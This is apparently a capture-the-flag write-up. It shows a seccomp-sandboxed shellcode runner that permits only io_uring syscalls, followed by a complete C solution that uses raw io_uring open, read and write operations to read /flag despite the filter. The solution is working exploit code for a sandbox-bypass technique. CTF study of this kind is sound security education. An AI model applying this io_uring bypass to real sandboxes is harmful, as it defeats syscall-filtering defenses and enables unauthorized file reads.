Day 5
Challenge
#include <errno.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#define NORTH_POLE_ADDR (void *)0x1225000
int setup_sandbox()
{
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx) {
perror("seccomp_init");
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_setup), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_enter), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(io_uring_register), 0) < 0 ||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
perror("seccomp_rule_add");
return 1;
}
if (seccomp_load(ctx) < 0) {
perror("seccomp_load");
return 1;
}
seccomp_release(ctx);
return 0;
}
int main()
{
void *code = mmap(NORTH_POLE_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (code != NORTH_POLE_ADDR) {
perror("mmap");
return 1;
}
srand(time(NULL));
int offset = (rand() % 100) + 1;
puts("🛷 Loading cargo: please stow your sled at the front.");
if (read(STDIN_FILENO, code, 0x1000) < 0) {
perror("read");
return 1;
}
puts("📜 Checking Santa's naughty list... twice!");
if (setup_sandbox() != 0) {
perror("setup_sandbox");
return 1;
}
// puts("❄️ Dashing through the snow!");
((void (*)())(code + offset))();
// puts("🎅 Merry Christmas to all, and to all a good night!");
return 0;
}
Just a simple seccomp rule that only allows io_uring_setup, io_uring_enter, io_uring_register, and exit_group syscalls
Solution
Spent majority of my time reading docs and battling the compiler tbh
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>
#include <stdint.h>
#include <stdlib.h>
#ifndef IOSQE_FIXED_FILE
#define IOSQE_FIXED_FILE (1U << 0)
#endif
static long my_syscall(long n,long a1, long a2, long a3,
long a4, void * a5, void * a6);
static long my_syscall1(long n,
long a1, uintptr_t a2, long a3,
long a4, long a5, long a6);
void _start()
{
const unsigned ENTRIES = 1;
const size_t SQE_SZ = ENTRIES * sizeof(struct io_uring_sqe);
const size_t RING_MEM_SZ = 1024;
const size_t BUFSZ = 100;
volatile unsigned char region[8192] __attribute__((aligned(4096)));
struct io_uring_params p = {
.sq_entries = 0,
.cq_entries = 0,
.flags = IORING_SETUP_NO_MMAP,
.sq_thread_cpu = 0,
.sq_thread_idle = 0,
.features = 0,
.wq_fd = 0
};
void *rings_mem = (void *)(region);
void *sqes_mem = (void *)(region + 0x1000);
((unsigned char*)rings_mem)[0] = 0x41;
p.cq_off.user_addr = (unsigned long)(uintptr_t)rings_mem;
p.sq_off.user_addr = (unsigned long)(uintptr_t)sqes_mem;
int ring_fd = my_syscall1(SYS_io_uring_setup, ENTRIES, (uintptr_t)&p, 0, 0, 0, 0);
volatile __u32 *sq_head = (volatile __u32 *)((char *)rings_mem + p.sq_off.head);
volatile __u32 *sq_tail = (volatile __u32 *)((char *)rings_mem + p.sq_off.tail);
__u32 *sq_array = (__u32 *)((char *)rings_mem + p.sq_off.array);
volatile __u32 *cq_head = (volatile __u32 *)((char *)rings_mem + p.cq_off.head);
volatile __u32 *cq_tail = (volatile __u32 *)((char *)rings_mem + p.cq_off.tail);
struct io_uring_cqe *cqes = (struct io_uring_cqe *)((char *)rings_mem + p.cq_off.cqes);
struct io_uring_sqe *sqes = (struct io_uring_sqe *)sqes_mem;
volatile char filename[16];
__builtin_memcpy((void*)filename, "/flag", 6);
char *buf [BUFSZ];
/* ---------------- OPENAT ---------------- */
__u32 sq_tail_val = *sq_tail;
__u32 sq_index = sq_tail_val & (p.sq_entries - 1);
struct io_uring_sqe *open_sqe = &sqes[sq_index];
*open_sqe = (struct io_uring_sqe){
.opcode = IORING_OP_OPENAT,
.fd = AT_FDCWD,
.addr = (unsigned long)(uintptr_t)filename,
.len = O_RDONLY,
.user_data = 0x1111
};
sq_array[sq_index] = sq_index;
__sync_synchronize();
*sq_tail = sq_tail_val + 1;
/* *** RAW DIRECT SYSCALL HERE *** */
my_syscall(SYS_io_uring_enter, ring_fd,
1, 1, IORING_ENTER_GETEVENTS, NULL, 0);
__sync_synchronize();
__u32 cidx = *cq_head & (p.cq_entries - 1);
struct io_uring_cqe *cqe = &cqes[cidx];
int file_fd = cqe->res;
*cq_head = *cq_head + 1;
/* ---------------- READ ---------------- */
sq_tail_val = *sq_tail;
sq_index = sq_tail_val & (p.sq_entries - 1);
struct io_uring_sqe *read_sqe = &sqes[sq_index];
*read_sqe = (struct io_uring_sqe){
.opcode = IORING_OP_READ,
.fd = file_fd,
.addr = (unsigned long)(uintptr_t)buf,
.len = BUFSZ,
.user_data = 0x2222
};
sq_array[sq_index] = sq_index;
__sync_synchronize();
*sq_tail = sq_tail_val + 1;
my_syscall(SYS_io_uring_enter, ring_fd,
1, 1, IORING_ENTER_GETEVENTS, NULL, 0);
__sync_synchronize();
cidx = *cq_head & (p.cq_entries - 1);
cqe = &cqes[cidx];
int read_res = cqe->res;
*cq_head = *cq_head + 1;
/* ---------------- WRITE ---------------- */
sq_tail_val = *sq_tail;
sq_index = sq_tail_val & (p.sq_entries - 1);
struct io_uring_sqe *write_sqe = &sqes[sq_index];
*write_sqe = (struct io_uring_sqe){
.opcode = IORING_OP_WRITE,
.fd = 1,
.addr = (unsigned long)(uintptr_t)buf,
.len = read_res,
.user_data = 0x3333
};
sq_array[sq_index] = sq_index;
__sync_synchronize();
*sq_tail = sq_tail_val + 1;
my_syscall(SYS_io_uring_enter, ring_fd,
1, 1, IORING_ENTER_GETEVENTS, NULL, 0);
__sync_synchronize();
*cq_head = *cq_head + 1;
my_syscall(SYS_exit_group, 0,
1, 1, 0, 0, 0);
}
static inline long my_syscall1(long n,
long a1, uintptr_t a2, long a3,
long a4, long a5, long a6)
{
long ret;
__asm__ volatile(
"mov %1, %%rax\n"
"mov %2, %%rdi\n"
"mov %3, %%rsi\n"
"mov %4, %%rdx\n"
"mov %5, %%r10\n"
"mov %6, %%r8\n"
"mov %7, %%r9\n"
"syscall\n"
: "=a"(ret)
: "g"(n), "g"(a1), "g"(a2), "g"(a3),
"g"(a4), "g"(a5), "g"(a6)
: "rcx", "r11", "memory"
);
return ret;
}
static inline long my_syscall(long n,
long a1, long a2, long a3,
long a4, void * a5, void * a6)
{
long ret;
__asm__ volatile(
"mov %1, %%rax\n"
"mov %2, %%rdi\n"
"mov %3, %%rsi\n"
"mov %4, %%rdx\n"
"mov %5, %%r10\n"
"mov %6, %%r8\n"
"mov %7, %%r9\n"
"syscall\n"
: "=a"(ret)
: "g"(n), "g"(a1), "g"(a2), "g"(a3),
"g"(a4), "g"(a5), "g"(a6)
: "rcx", "r11", "memory"
);
return ret;
}
compiled with
gcc -nostdlib test4.c
extracted the bytes and sent it into the stdin of the challenge to get the flag